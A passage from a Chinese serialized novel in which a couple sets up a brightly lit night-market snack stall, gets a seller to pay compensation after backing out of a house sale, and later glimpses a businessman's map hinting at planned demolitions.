不过赵如月做好之后又把轮子拆了,这两个置物架暂时是放在这贴桌上固定网格,还有装钵仔糕或者三明治用的,装上轮子它反而不够稳当。 可轮子买都买了,她干脆弄了块木板,又在木板上钉几根木条,做成四四方方可以推拉的样子做把手。 把轮子装在木板底下,当做平板推车用,固定在木板上就不能用扎带了,得用钉子。 不过扎带也不是就没了用处,还能用来固定网格片和小灯串。 她弄好轮子后,拉着自己做的丐版平板推车到门口。 收了两套放在门口棚子下的折叠桌,再放到平板推车上,拖行一段距离。 门口的柏油公路,有时候会有卡车和拐到下高速拉客的大客车经过,路面已经被大车压得坑坑洼洼,前些年县里说要修,过去好几年了也没见有动静。 赵如月在这条路上,推着自己的丐版平板推车走了一段,又拉着回来,感觉手感还可以,还是挺顺滑的。 县城的夜市街路况比这里好得多,推拉起来应该会更顺滑。 她回来后又网上加了几个椅子,加到第六个椅子,就觉得推拉起来有点难了。 最后考虑到要把做好的钵仔糕和三明治放上去,还有平板推车的使用寿命,她就打算只带一张折叠桌和三张椅子。 宁绍明准备的东西不多,目前一张折叠桌很够用了。 以后她晚上要去上课,两个孩子可能会跟着宁绍明去摆摊,椅子准备三张也是正好。 其实三张可能都有点多了,摆摊不可能一直坐着,得站起来揽客,给客人装东西的时候最好也别坐着。 宁绍明估计只能在没客人的时候,稍微坐着休息一下。 她出去试车的时候宁绍明也看到了,他以为赵如月说要晚点再给自己看的就是这个平板推车。 赵如月却说:“不是,我接下来要弄的才是。” 她把折叠桌拉到院子里,又拿下来摆好,擦干净桌面后,拿出今天新买的桌布铺上去。 两个双层置物架放桌子两边,两个正方形的网格片拼在一起,用扎带固定成长方形,同样用扎带固定到桌子两边的置物架上。 赵如月把白色和彩色的小灯串都拿出来了,将它们错落地缠绕上网格片。 连接蓄电瓶后,小灯串一亮。 “哇——”两个孩子发出惊呼,“好漂亮!” 赵如月笑着指了指网格片中间空出来,没装绕灯串的那块地方:“这里可以放夜市街管理处发的小牌子,还有我们自己的招牌。” 宁绍明懊恼道:“我没想到还要准备招牌,没提前准备怎么办?” 赵如月说:“这多好办,你儿子闺女做手工的东西多着呢,让他们俩用硬卡纸给你做一个不就好了。” 宁绍明看向两个孩子。 宁时夏和宁时秋立刻表示,这跟做相框一个道理,简单得很,自己一定能在出发去摆摊之前做好。 然后跑回各自的房间拿材料,又一起到书房里做招牌去。 结果没过几分钟,外面站着的几个大人就听到,他俩因为要用什么颜色的卡纸吵架了。 哥哥说要用白色的:“彩灯映在,白色的卡纸上,可以映出各种不同的颜色,肯定特别好看!” 妹妹说要用单一的颜色:“招牌得让人看清上面的字,映出不同的颜色,人家光看颜色了,哪能看到字,我觉得用绿色就很好。” 哥哥:“少来了,明明是你自己喜欢绿色,就想做成绿色的!” 妹妹:“妈妈说了,摆摊只用白色的灯串!” 哥哥:“妈妈没说一定只能用白色的灯串,我可以跟她商量一下,只用彩灯!” “用彩灯客人会眼花,看不清桌上卖的东西!” 赵如月和宁绍明无奈地对视一眼,正想着要不要进去调解一下。 他们已经自己想到了办法。 宁时夏:“那要不我们各做各的?” 宁时秋:“先出去问问爸爸妈妈,能不能做两个招牌,爸爸出去摆摊卖的不是米粉,可以用店里的招牌让人家知道是我们家的东西,也应该再做一个属于小摊子在招牌,让人家知道我们小摊卖的是什么。” 他们镇上店面的招牌很简单,甚至没特地去找人起名。 直接用两个孩子名字里的其中一个字,就叫秋夏美食店。 赵如月和宁绍明听到两个孩子的话,就站在院子里等他们出来找自己商量。 结果门动了一下,又关上。 就听到儿子说:“我觉得其实不问也可以,我们可以一个人做招牌,一个人做菜单,组合起来,跟妈妈留出来的那块地方一样大应该也行吧?秋夏美食店挺好听的。” 闺女表示赞同:“那我做菜单,你做招牌?” 儿子:“行,你写字认真点,别写得太难看。” 闺女:“知道了,你招牌做得好看点,别只写几个字,也在上面画点花什么的。” 站在院子里,没等到孩子出来的赵如月和宁绍明再次对视一眼,不由露出笑容来。 接着一个回厨房继续忙,一个收拾了折叠桌和桌上的东西,提水浇菜去了。 晚上,他们比昨天提前了一点来到夜市街,但仍然是夜市街来得最晚的摊位。 他们到地方的时候,几乎所有摊位都摆好了自己的东西,出来逛街的人,已经在夜市街里到处转悠了。 赵如月牵着两个孩子,宁绍明推着平板拖车跟在她身后,前往他们的摊位。 走近后,看到他们的摊位上有人放着东西,赵如月还有些紧张,担心来的第一天就跟隔壁的人起矛盾。 好在她过去跟隔壁摊位的人说,这个摊位自己家已经被自家租下后,人家就把懂事收拾起来放回他们自己的摊位了,还跟她说说了声抱歉。 这让赵如月松了一口气,做生意能和和气气的真是太好了。 因为这一段路都被划为美食区,大家卖的都是吃的,所以也不存在什么同行敌视同行的行为。 宁绍明已经学会了怎么连接灯串,到了地方,他先把椅子搬下来,放在靠后的位置,对赵如月说:“你们坐着就行,这么小个摊位,我一个人就能搞定。” 他们这位置比较偏,非常不显眼。 但是等到宁绍明按照赵如月在家时的做法,把折叠桌搬出来,铺上好看的桌布,再把三明治和钵仔糕整整齐齐地摆到桌布和桌子两边的置物架上。 最后给连接蓄电瓶,给小吊灯通电。 彩色小吊灯,缠绕在两边的置物架上,它们一闪一闪地发出五颜六色的光。 在被打开的一瞬间,就把路过的几个小孩子的注意力全部吸引了过来。 “妈妈你看,好漂亮!” “真好看,我要去那边!” “我也要去那边看看!” 有大人担心这么花里胡哨的摊子,卖的东西价格会很贵。 不太想带着孩子过去,过去可不是看看就算完,不给买孩子肯定会闹。 一时间摊位附近多了好几个跟家长展开拉锯战的小孩。 也有家长带孩子出来就是想让孩子开心,孩子一说就带着孩子走了过来。 走过来后一看,中间挂着白色小吊灯的网格上,不但有这个摊子的招牌,还有菜单。 菜单上什么东西价格多少,人家摊主明码标价,写得清清楚楚。 钵仔糕一块钱一个,三明治一块五一个。 摊子上的东西也是一览无余,清晰明了。 就是一些玻璃杯子装的漂亮小糕点,那个应该就是钵仔糕,还有一些三角形的三明治。 因为小彩灯,他们这个位置偏僻的小摊,很快被小孩子围住了。 叽叽喳喳地叫着我要这个!我要那个! 摊位受欢迎的程度,完全超出了他们的想象。 带来的东西在摊子搬出来后不久,就卖出去一大半,不到一个小时,所有东西都卖完了。 距离郑秀来接他们的时间还早得很,宁绍明本来想着让赵如月带两个孩子再逛一次夜市,或者在带他们去县城其他地方逛也行,他留在摊位上看东西。 约定好一个地方,等郑秀来接人的时候,他再坐车去找她们汇合。 赵如月却觉得不继续卖东西可惜了,正好隔壁摊位的生意也不错,客人太多,位置不够坐。 那个摊位的老板看他们卖完没有补货继续卖的意思,过来试探着问:“你们不继续摆摊的话,不知道能不能把这个摊位剩下的时间租给我?” 赵如月诧异道:“还能私下转租吗?” “管理处没规定不行。” 赵如月想,也就是说管理处也没明确表明允许这么做。 算是管理漏洞。 赵如月思索过后说道:“我得去看看有没有其他人这么做,要是有的话,我就把剩下的时间租给你。” “好好好,你可以往那边去看看,我记得那边有个摊位也租的别人一半的位置。” 赵如月顺着隔壁摊位老板指的方向走,还真看到了他说的那个摊位,除此之外,还有个跟他们一样东西卖得快的摊位,也正在收摊。 那个摊位的摊主一边收,旁边摊位的摊主就一边把桌子往那个收摊的摊位上摆。 她往夜市街其他地方也走了一圈,又发现了一个。 提前收摊的不多,但确实有,赵如月放心了,回来后就答应了隔壁摊摊主的租借请求。 她这摊位一个月的摊位费是五百块钱,分摊到每一天就是十六快多,不到十七块。 每天摆摊的时间是晚上七点到凌晨两三点,这样一算他们只摆三四个小时确实有些可惜。 赵如月按照一天十六块钱来算,收了隔壁摊位摊主的八块钱租借费。 然后把夜市街管理处的牌子交给那个摊主,她也不怕人家不还。 这个牌子在夜市街管理处登记的是她的身份证信息。 别人捡到或者私吞也没用,她带身份证去就能挂失补办,别人手里的这张到时候就作废了。 她把摊子租借给隔壁,人家还说可以把东西放在后面的角落,他们可以帮忙看着不让人拿走。 东西放下后,他们一家四口就可以去玩了。 赵如月和宁绍明带着两个孩子在县城逛了一圈,回来的时候路过两元店,发现两元店还开门。 毫不犹豫地走进去,把赵如月今天买的那种小玻璃杯子抢购一空,有三大箱,总共两百四十个杯子。 本来一箱是五十组,一共一百个杯子,其中一箱老板零散卖出去二十个,另外四十个,刚好今天被赵如月买走了。 由于这次买得比较多,还跟老板谈了谈价格,拿到了一个九五折的折扣价。 箱子太大,他们不好办,只能结束闲逛,打了个三轮车回夜市街。 之所以一次性买那么多杯子,也是因为摆摊一晚上下来,宁绍明被人问最多的问题就是:这个杯子不能带走? 他一开始还说耐心解释:“这个是做钵仔糕的容器,以后我做钵仔糕还要用的。” 后来再有人问,他就直接跟人说:“连杯子一起带走的话,钵仔糕要两块五一个。” 本意是想提高价格,让人家一听价格,觉得太贵不划算,就知难而退。 没想到一晚上竟然连杯子都卖出去十几个。 收摊点数的时候,看到剩下的二十几个杯子,都不知道该说点什么好。 最后只能感叹一句:“县城有钱人可真多。” 他们这也算是变相批发杯子卖了。 一个晚上下来,收获满满。 宁绍明决定明天多准备一点钵仔糕,减少三明治的量,另外再带一点杯子蛋糕和铜锣烧去卖。 他觉得自己昨天还是有点考虑得不够周到了。 三明治其实跟热狗面包有点像,虽然沾了一点外国食物的边,但是其实更适合早上当早餐卖。 今天三明治卖出去的速度,很明显不如钵仔糕。 而且今天有逛夜市的人认出来,他就是榕溪镇上秋夏美食店的老板,还问他怎么不带杯子蛋糕和铜锣烧来卖。 问的客人在县城工作比较忙,休息天又是也要上班,就算能休息也不想到折腾了。 所以每次都是要等榕溪镇的亲戚去县城玩的时候帮他们带才能吃上他家的东西。 宁绍明本来以为人家只是客气一下,没想到那几个客人为了第二天能吃上他家的杯子蛋糕,竟然提前拿出钱塞给他。 叮嘱他明天晚上来摆摊的时候,千万别忘记给他们带。 宁绍明好说歹说保证自己明天一定带,才让他们把钱又拿回去。 还有客人建议他,也在夜市街摆摊卖炒米粉。 宁绍明自己都没想到,自己的店在县城也有那么多人知道。 对于建议他去夜市摊卖炒米粉的话,宁绍明倒是有点心动。 一方面是对自己的手艺有信心,另一反面,也是看到夜市摊上也一两个摊子在卖。 宁绍明在看到有人卖之后,买回来吃过。 他自己觉得味道一般,他家里两个吃多了好东西,嘴巴被养叼的孩子甚至说不好吃。 要是他在夜市街卖炒米粉,可以预见生意不会差。 只是他答应了赵如月,晚上摆摊不能为了挣钱就不顾自己的身体。 而炒米粉需要颠勺,还要一直站着,他白天已经干了一天活,晚上再干,明显就是在用健康去换钱了。 得不偿失,媳妇儿还会生气难受,宁绍明想想就算了,钱是挣不完的,不能本末倒置。 而且他已经打算在县城开店,周一把剩下的房款交给卖家,拿到房子的钥匙,县城的店就能开始着手准备了。 第98章 签合同的时候,卖家说他们想尽快完成交易,比较迫切地想拿到钱,但他们星期一又要上班。 于是约定好,星期一下午一点半,双方还是在之前那家饭店碰面,一次性付清剩余房款。 然后把所有东西交接、办理好。 星期一的上午十点半,赵如月提前去县城排队取钱。 虽然星期一去银行取钱的人不多,但她去得算比较晚,一直排队到中午,人家银行工作人员临近下班前,才轮到她取钱。 赵如月取好钱没多久,宁绍明也忙完店里的事赶来了。 带着这么多钱,他们两个也不敢乱跑,直接就去了那家饭店,打算边吃午饭边等卖家来。 昨天她堂妹上的大夜班,今天要好好休息,赵如月就没去打扰她。 不过堂妹答应借给他们的两万块钱,在交定金的那天,已经直接取出来交给了卖家。 所以今天就不用麻烦她再跑一趟了。 赵如月和宁绍明到了地方,在这家饭店先在大厅把午饭解决了。 吃完午饭,让服务员把桌上的碗盘杯子撤走后,他们才换到包间里坐着继续等。 约好的一点半碰面付钱,可卖家却没准时到。 两人一直等到下午两点钟,也没见到卖家兄弟俩的人影。 他们自己没准时来,也没找个人来通知一声,他们到底是有事耽搁了,还是怎么回事。 过了约定的时间,赵如月开始频繁地看向挂在包间墙上的钟表,内心有些不安:“怎么还没来,不会出什么意外吧?” 宁绍明安慰她:“别担心,也许他们临时有事耽搁了,在单位上班什么都好,就是有一点不好。 在时间上,不如我们这样做买卖自负盈亏的人可以自由安排,单位临时有事叫去干活,也没法推脱,上班时间请假出来也得领导批准,他们那么着急把钱拿到手,不会不来的。” 赵如月只好耐着性子继续等。 又继续等到三点半,卖家兄弟俩终于来了。 可他们来了之后,却应验了赵如月内心的不安。 “不好意思,我们来晚了,单位临时有事走不开,”那兄弟俩走进包间,也不坐下,直接站在那里就说,“是这样的,那几间房以前是我们家祖宅,家里老人还是不舍得卖出去。 老人家说到要卖掉那几间房子就捂着心口说难受,我们当子女的也没办法,总不能违背老人家的意思,不然我们罔顾老人家的意愿吗,卖掉祖宅就真成不孝子孙了,二位说是不是这个道理?” 赵如月等到现在等到这么一个结果,她耐心已经全部被消耗光。 而且这兄弟俩话里话外就是不想卖的意思,走进来后屁股都没沾一下椅子,就开始说那些话,显然连谈都没得谈。 她说话也就不客气起来:“你们不用跟我说这些,我这个人说话不喜欢拐弯抹角,你们就直说,是不是要违约?” “我们也有自己的难处……” 都说不喜欢拐弯抹角了,这人还想绕。 赵如月直接抬手打断他的话:“你们的难处可不是我们造成的,给钱还成为难人了不成?我们之间的关系就是卖家和买家的关系,你们就说是不是要违约吧!” 那兄弟俩中的弟弟脾气稍微急一些,直接抢在他哥面前,疾言厉色地说:“是,那几间房子,我们确实不想卖了,这事就这么算了吧!” “不想卖了?那也不是不行,” 赵如月柳眉倒竖,掏出合同拍在桌子上,“我们夫妻俩也不是什么不讲道理的人。 既然你们不想卖了,那就按照合同来办,退回我们之前预付的定金两万元,还要赔偿总房款百分之二十的违约费用,请掏钱!” “我们没有那么多钱,你们要是现在就想要钱的话,我们可以先把定金退回去给你们,至于这个赔偿款,得等到我们手头宽松一些,才能给。” 赵如月冷哼:“等?我最讨厌的就是等!我们今天在这里等来等去,等到一个好结果了吗?” 那兄弟俩见她这么不好说话,干脆越过她。 看向宁绍明:“兄弟,你劝劝你媳妇儿冷静点,我觉得家里这种买卖房子的大事,还是我们男人出面谈谈比较合适,你觉得呢?” 宁绍明两手一摊:“我觉得你们最好不要把简单的事情搞复杂,同时我并不觉得,我媳妇儿出面有什么不好,夫妻一体,她的想法就是我的想法。 反正事就是这么个事,按照合同来,很简单就能解决,早点解决干净,对我们两家都有好处。” 卖家兄弟俩听到他这话,脸色不太好地又说道:“你可要想好了,我们兄弟俩在县城也算有头有脸的人,跟我们闹起来,对你们没有任何好处。 我记得你们买这房子,是想开店做生意对吧? 你们以后在县城做生意,多几个朋友总比多几个仇人好,你说是不是?而且不买这几间房你们还能去买别的,耽误不了多少功夫。” 赵如月在他们跟宁绍明说话的时候,脑子里在不断地思索卖家突然反悔的原因。 明明签合同那天他们对于卖房子的态度比较急切,很想尽快把房子卖出去,要不然也不会把付清尾款的时间定得那么急。 那天他们对如玉的态度非常和善热情,还特地问候如玉的公公婆婆。 而现在才过几天就反悔了,也丝毫不顾忌她跟如玉之间的关系,肯定是有比卖出房子更大的利益,让他们冒着得罪人的风险也要违约。 甚至还明里暗里地威胁。 比卖房更大的利益,赵如月能想到的就是拆迁了。 可是早赵如月的记忆中,这一片没那么快拆迁,最少也要等到一几年。 她当初选择这里,也是想着这里位置不错,又能安安稳稳地做十几年生意,等到一几年拆迁的时候。 能拿到的拆迁款肯定比现在多得多。 不过想象现在自己以及身边的很多人和事,已经跟记忆中不太一样了。 也许县城的拆迁计划也会有改变? 赵如月联想到这兄弟俩是在县城的事业单位工作,没准人家有小道消息。 考虑太多没有用,她跟需要解决眼前遇到的事情。 想明白之后,赵如月‘提醒’他们:“我们家在县城也不是没有人脉的!” 然后直截了当地说:“要么今天连定金带赔偿一起给齐,要么我们去你们单位找你们领导问问,他的下属怎么会做出这种出尔反尔的事!” 她赌的就是这两个人得到小道消息,为了拆迁款才违约,小道消息既然是小道消息,那肯定是还没公之于众,甚至需要暂时保密的事情。 赵如月不信他们敢让人知道他们提前得知消息,还利用这个消息违约牟利的事。 如果他们的本事真有他们威胁人时说的那么厉害,肯定早就知道那个消息,稳稳当当等着拆迁拿钱了,何必再闹出这么个事来? 赵如月再次赌对了,这兄弟俩确实不敢让人闹到自家单位去。 被闹到单位,丢脸影响他们的名声不说,这事确实是他们理亏,领导想站他们这边都找不到站他们理由。 更何况这一片区要拆迁的消息和拆迁范围,上头严令禁止了暂时不能往外透露。 万一泄露消息的事被人发现,不只是他们,连把消息透露给他们的人都得有麻烦。 “哎呀,能坐在一张桌子上吃饭就是缘分,何必闹成这样?”卖家兄弟俩对视一眼,那两个尊贵的屁股终于碰到了包间的椅子,还特地拿起茶壶给赵如月和宁绍明倒茶。 接着又急忙说了几句软话:“你们是生意人,做生意嘛,还是要以和为贵,我们就敞开天窗说亮话,真不是不想给你们赔偿,只是手头实在不宽裕,不过这钱你们一定今天要的话,你们看这样行不行,给我们两个小时的时间,就两个小时,我让我弟弟在这里陪着你们吃吃饭聊聊天,我去找亲戚朋友筹钱怎么样?” 赵如月看了一眼墙上的钟,在心里冷笑,一个小时,怕不是去筹钱而是去银行取钱。 明明有钱却还想赖,真是令人无语至极。 “行,我们就在这里等着。”要是不及时回来,她今晚也不回镇上了。 直接在县城找人做两个横幅,再买两个大喇叭。 明天早上他们夫妻俩一人一个,分头去这两人单位拉横幅,替他们好好宣传一下。 正好今天还取了不少钱出来,拿出一小部分,就能找个记者登报。 标题就用:好消息,城北即将拆迁!快来看看你是不是下一个百万富翁! 不过赵如月觉得出去筹钱的那个,应该不会跑,因为留在包间里的那个,不但给他们倒茶,还点了不少吃的,招呼他们吃东西,说今天这一顿轮到他们请客。 为了不冷场,甚至还硬着头皮找话题尬聊。 果然不到甚至没到一个小时,出去取钱的那个就回来了,他掏出钱时,赵如月发现,装钱的信封就是距离饭店不远的那家银行的专用信封。 “钱都在这里了,你们点点数。” 赵如月接过信封,把钱拿出来数了一遍,又交给宁绍明数了一遍,确认是四万四无误,给对方开了个收据,这桩买卖就这么黄了。 虽然对方退了订金、给了赔偿,但是一直期待的事情没能办成,赵如月心里依然有些郁闷。 离开前,她憋着气,把包间里几乎没被碰过的饭菜,全让服务员打包起来,带回家去了。 回到家后看到这些饭菜又觉得糟心,碰都不想碰,干脆分了分,让两个孩子给婆家和娘家的老人,还有亲戚送去。 回家前他么还去了一趟银行,重新把钱存起来了,回家的时间就有点晚。 出门前,宁绍明跟宁时春说过,要是他来不及在晚饭前回来,宁时春就自己做他自己和小秋小夏的饭。 所以赵如月和宁绍明回到家时,家里其他人已经吃过晚饭。 她跟宁绍明没胃口,到家随便煮了点方便面,就把晚饭对付过去了。 宁绍明吃完,又抓紧时间做今天晚上要卖的钵仔糕和三明治。 钵仔糕今天做六十个,三明治只做十个,而且宁绍明打算用完三明治的食材后,就不再做了。 杯子蛋糕和铜锣烧是宁时春在家利用下午的时间提前准备的,全都放在冰箱里冷藏着,去县城之前记得拿出来带上就行。 今天晚上赵如月就不能跟他们一起去摆摊了,她吃完就得赶去县城上课。 两个孩子却还对摆摊这事很有热情,今天决定继续跟他们爸爸一起去夜市街摆摊。 夫妻俩各自投入了自己的事情里,暂时把今天的不愉快抛到了脑后。 却不知道,有人正在暗地里查他们这几天经历的事,很快就把前因后果调查得一清二楚。 那一天买房失败,离开饭店时,心情不佳的赵如月和宁绍明没注意到周围。 有一个听出她声音的人,本来想上前跟他们搭话,可惜看到他们脸色不太好,似乎是遇到了不高兴的事。 那人觉得,他们现在可能没心情应付别人的寒暄,于是有些犹豫地停住了脚步。 直到隐约听到赵如月和宁绍明说什么房子、什么出尔反尔、郁闷死了这些话。 他心念一动,想到自己即将要在这个县城投资的项目,再次升起想要过去打个招呼的想法。 那人想着,也许自己能帮他们解决的他们遇到的问题。 谁知追出去的时候,赵如月和宁绍明已经坐着三轮车离开了。 那个人只能无奈地转身再次回到饭店。 没想到又看到一个中年男人,从刚刚那对夫妻出来的包间走出来。 那个男人呼喊着叫服务员过来:“我们要重新点一桌菜,刚刚那两个穷酸,连吃带拿的真是不要脸!一辈子吃不上四个菜的玩意儿!” 包间里传出另一个男人的声音:“行了,在外面别说这种不着调的话,抓紧时间点几样菜,够我们两个吃就好,我还得回单位加班处理手头上没干完的活。” “我们又不是以前没钱的时候了,再过一段时间,房子……” “咳咳!”包间里的男人重重地咳嗽了几声,打断他的话。 喊服务员的男人低声骂了一句什么,点了几个菜,就转身回到包间里去了。 站在原地看着这一幕的人,记住了这个人的长相和包间号码。 回去后派人仔细一查,很容易就查出那兄弟俩是谁,在什么单位工作。 还有他们上周到处在县城贴告示、登报卖房,找到合适的买家,后来又很快反悔不卖的事。 再把这些事,跟那对夫妻离开时说的话一联系起来,不难猜到实情。 不过他还是让手底下的人去把事情从头到尾仔仔细细地查过一遍,连细节都查清楚了。 才拿着消息被泄露这事,去跟本地的负责人和领导谈。 过了一段时间,孩子们放暑假,赵如月带着他们去市里玩了一趟。 调整好心情之后,准备重新物色其他房子。 谁知接到了赵如月的电话。 赵如玉在电话里告诉赵如月,之前卖房子又反悔的那兄弟俩,不知道怎么,竟然找到她来说和。 让她帮忙问问赵如月和宁绍明,还愿不愿意买之前那四间房子。 赵如月惊呆了:“他们怎么想的?还找我们买,他们不知道自己在我们这里已经没有任何诚信可言了吗?” 之前那事赵如玉也听赵如月说过,觉得那两兄弟不是个东西。 可是他们给出的价格比上次低很多,又是通过她丈夫的大哥来找她帮忙说和,她不能不给大伯哥这个面子。 只是赵如玉也跟他们说了,她就帮忙问一声,不保证她堂姐还愿意买。 “姐,你先听我把话说完,这次他们四间房子,只卖十万,我也是觉得这个价格真的很低,才来跟你说一声,要不因为一时意气,错过了好价格多可惜?” 听到这个价格,赵如月确实有点心动了,只是她怕事情又有变故:“你让我再想想,还得跟我家那个商量一下才行。” 赵如玉道:“好,你想买随时给我打电话,要是实在觉得膈应,不想买也没什么,县城这样的房子多得是,我抽空再陪你去找找别的合适的房子。” 赵如月听到她打哈欠,就说道:“真是太麻烦你了,你在医院上班那么辛苦,还帮我忙这些,赶紧休息去吧,不管我买不买,明天考虑好之后,都给你打个电话回复。” “行,那我先挂了,困死我了……”赵如玉又打了个哈欠,赶紧挂了电话,跑回房间补觉去。 赵如月这边挂了电话,就见坐在小卖部里看电视的大娘大婶们伸着头看她。 看到她挂了电话,一个个眼冒八卦精光地盯着她问:“你娘家堂妹给你打电话?” “是哪个堂妹?” “听着像在县城,是不是那个在县城有正式工作,还嫁到了县城好人家的那个?” “嫁到县城的好像有好几个,我记得以前跟你玩得最好的,叫如什么来着?如媛?哎呀,你们赵家这一辈姐妹太多,名字还难记,我都记不住是哪个了。” “是如玉,如媛是她亲妹妹,如玉才是堂妹,也是嫁到县城那个。” “对对对,如玉,是如玉没错,你托她在县城帮你买什么?那东西听起来好像还不太好找。” “你们两口子挣了不少钱吧?是不是要买车啊?” 赵如月被她们一连串的问句,问得都不知道该先回答哪一个了。 也有些后悔,自家建房的时候,她嫌现在装固定电话太贵,没在自家装电话。 到小卖部打电话便宜是便宜,可隐私却得不到保证。 这里为了吸引人来买东西,装了个电视机,几乎一天到晚都有人来看电视,简直是镇上八卦聚集地。 谁进来都免不了被蛐蛐几句。 赵如月飞快回想自己刚刚在电话里说的话,庆幸没提到买的什么东西。 “还能买什么,绍明觉得用电饭锅做蛋糕太麻烦,早就惦记着弄个商用烤箱回来,商用烤箱价格不便宜,也不好买。 这不,我堂妹在县城人面广,我就找她帮忙多打听打听,上回说是有一家店不干了,有二手的商用烤箱出手,价格合适,我们都准备付钱了,又说不卖了,你说这事弄的…… 这次打电话来,是告诉我又有商用烤箱的消息了,就是价格不太合适,问我要不要买。” 这些大娘大婶们县城都没去过几回,有些去县城的时候,甚至都不敢去那些看起来比较高大上的商场逛,她们哪知道什么商用烤箱卖多少钱? 县城有没有店倒闭转让她们就更不知道了,所以赵如月随口就是瞎掰。 她说得还挺有理有据,这些大娘大婶还真信了。 “买别人用过的确实要更便宜点,可惜了。” “是啊,之前我亲戚家买了一台二手电视机,价格比买新的便宜一半,带回来洗洗干净,跟新的没多大区别,照样看!” “你亲戚在哪儿买的?还有的卖吗?” “我也想问呢,要是还有的话,我家也想买一台。” 她们的注意力,很快转到某个大娘亲戚家,那个只花一半的钱买回来的二手电视上去了。 跟那个见到没见过什么样,自家又用不上的商用烤箱,还是电视对她们更有吸引力。 赵如月回到家,店里有客人在吃东西,她就叫宁绍明跟自己回房才把这事跟他说了。 “你觉得还要不要买那家的房子?” 赵如月是没办法决定了,最开始她是很生气,甚至后面连续好几天都郁闷得很。 后来翻看存折,看到存折上的数字,还了堂妹两万块钱之后,她存折里的钱足有十三万! 这十三万是他们预留的流动资金,加上买房尾款,再加上那兄弟俩赔偿的违约金的总和。 相当于折腾一通之后,她上的夜校、平时的花销、摆摊的前期投入全都没花钱,反而还莫名其妙挣钱了。 存款比以前都多! 然后赵如月就不郁闷了。 只是她对那兄弟俩依旧有偏见,无法判断这个房子还值不值得买。 宁绍明有时候在某些方面,倒是比她理性一些,所以赵如月让他来决定。 反正买了房子后,第一个去县城开店的人是他,自己的维修店还早着呢。 其实宁绍明自己也没办法决定,他思索了一会儿说:“我得先去县城打探一下消息,可别又被人涮了,打探到消息后,我们再做决定。” 卖家兄弟俩在卖和不卖之间反复横跳,跳得他一头雾水,非得先弄清楚怎么回事不可。 赵如月大概知道是怎么回事,但她不好直接跟宁绍明说。 现在这个情况只能是拆迁的事没着落了,也不知道宁绍明去县城能不能打听得出来。 两人说完事后,出来继续在店里忙。 下午临近晚饭的时间,宁绍明正要挂上打烊的牌子,一辆车却缓缓在店门口停下。 司机下车后走到后面,打开后车门。 后座走下来一个人,宁绍明一看就知道这个人是个外地人,因为他这么热的天,还打了领带,还提着公文包。 果然口音也不是本地口音:“不好意思打扰了,请问你们这里还营业吗?我老板有胃病,今天没来得及吃午饭,现在胃有点不舒服,想进店吃点东西缓一缓,不知道你们这里还有没有吃的卖?” 宁绍明看司机扶着的人,唇色苍白脸色有点难看。 看起来确实很难受的样子,点了点头,把打烊的牌子收起来,侧身让他们进店。 “店里没多少东西了,只剩一点米粉,可能不够两碗,不过今天家里煮了大米粥自家人吃,你们不介意的话,我可以给你们煮点蔬菜肉粥?” 脸色苍白的老板点点头说:“谢谢,那就给我的司机做一碗米粉,我要一碗蔬菜肉粥。” 宁绍明笑笑说:“不用客气,就算我家打烊了,你随便去镇上哪户人家,大家都会热心帮忙的。” 然后转头看向司机:“请问你要炒米粉还是煮米粉?” 司机想了想说:“炒米粉吧,在县城的饭店吃过一回,味道不错,没想到这里也有。” “稍等,很快就好了。” 粥不用生米煮,只需要加热再剁点猪肉末,再切点青菜碎放进去一起煮。 他家恰好有提前腌好,预备今晚自家吃的猪瘦肉,分一点出来煮粥不碍事。 猪肉末和青菜碎在粥水里翻滚时,宁绍明才起锅炒米粉。 最后时间刚刚好,炒米粉和蔬菜肉粥是一起做好端出去的。 宁绍明端着东西从厨房出去时,不经意间抬头往客人那边看了一眼,忽然发现那个老板的侧脸有点眼熟。 但是他记不清是在哪里见到的了。 宁绍明想:也许是在鹏城? 可是听口音又不像。 想不出来,他就没在深究,端着托盘一次把粥和炒米粉都端出去。 本想放到桌上,可桌子被那个老板从公文包里拿出来的文件铺满了。 宁绍明走到桌前的时候,那个老板正拿着一直红笔,在一张地图上画。 看到宁绍明端着东西过来,他收拾出来一个角落,让宁绍明放下托盘。 宁绍明放下东西打算转身离开的时候,桌上那张地图掉了下来,他想着人家身体不舒服,就帮忙捡了起来。 捡的时候看了那张地图几眼,发现那竟然是他们县城的地图。 地图上有几个地方被人用红笔圈起,其中好几个地方宁绍明都很熟悉。 特别是城北的某个地方,那地方距离夜市街不过几条街,他们前段时间还想买那里的四间平房。 但是仔细去看,那四间平房所在的那条街,并没有被圈进红圈里。 它们在红圈边缘,差一点点就被圈进去了。 还有一个地方是很多人都觉得不可能会拆迁的地方,那个地方现在被圈起来了,就在红圈里! 宁绍明不由心跳加速。 “谢谢!”那老板的声音唤回宁绍明的注意力。 他忙把地图放到桌上:“现在店里没有其他客人,你们有需要的话,其他桌子也能用来放东西。” “好的,麻烦你了,一共多少钱?” 宁绍明:“炒米粉一份八毛钱,粥就不用了,我们每次煮来自家吃都吃不完,没定过价,也不好定价。” 两个客人也没坚持说要给,不过司机直接给了一块钱说:“老板别找钱了,不够麻烦的。” 宁绍明也没矫情地一定要给人家找钱,利索地收了钱说:“也行,你们慢慢吃,我先忙去了,有事往后面院子喊一声,我就能听到,要是这位老板肠胃实在难受,可以去我们镇上的卫生院看看,卫生院离这里也不远。” 宁绍明说完,快速回到后面院子,往肚子里猛灌了一大杯水才冷静下来。 赵如月看他喝得那么急,连声劝他慢点喝:“你今天怎么喝起水来跟个水牛似的。” “媳妇儿,我觉得我好像知道那兄弟俩为什么又来问我们,还愿不愿意买他们那四间房了。” 赵如月疑惑道:“你跟谁打听的?还是我去浇菜地的时候,如玉又打电话来了?” “不是,我刚刚……”宁绍明详细地把刚才的事和自己看到的东西描述给赵如月听。 赵如月听完半晌回不过神来,但是她也不敢轻易相信,事情会那么巧。 她从院子另一个门绕出去,悄悄的去看店里还在慢慢吃东西的两个人。 看了一会儿,没看出什么来,她正要离开,却听到店里的人说话了。 司机问:“老板,要不要去镇上的卫生院给您买药?” 那老板咽下嘴里的粥,摇头说:“不用,一碗粥喝下去,我感觉胃里好受多了。” “那下次我用保温桶帮您带点粥跟着。” “可以。” 那个老板的声音…… “我总觉得在哪里听过,但是又不敢肯定。”赵如月回到院子里后有些迟疑地对宁绍明说。 她皱着眉,仔细去想,又想不起自己在哪里听过这个声音,而且那张脸她是完全没有印象的。 宁绍明脑子也不断在回想,自己是不是真的见过那个老板,同时他手上择菜的动作也没停下:“真是奇怪了,我也没老啊,见过的人怎么就不记得。” “你对他的脸有熟悉感,我对他的声音有熟悉感,我们遇到过的人里真的有这么一个人存在……不对,没准还真有!” “谁?”宁绍明想不起来。 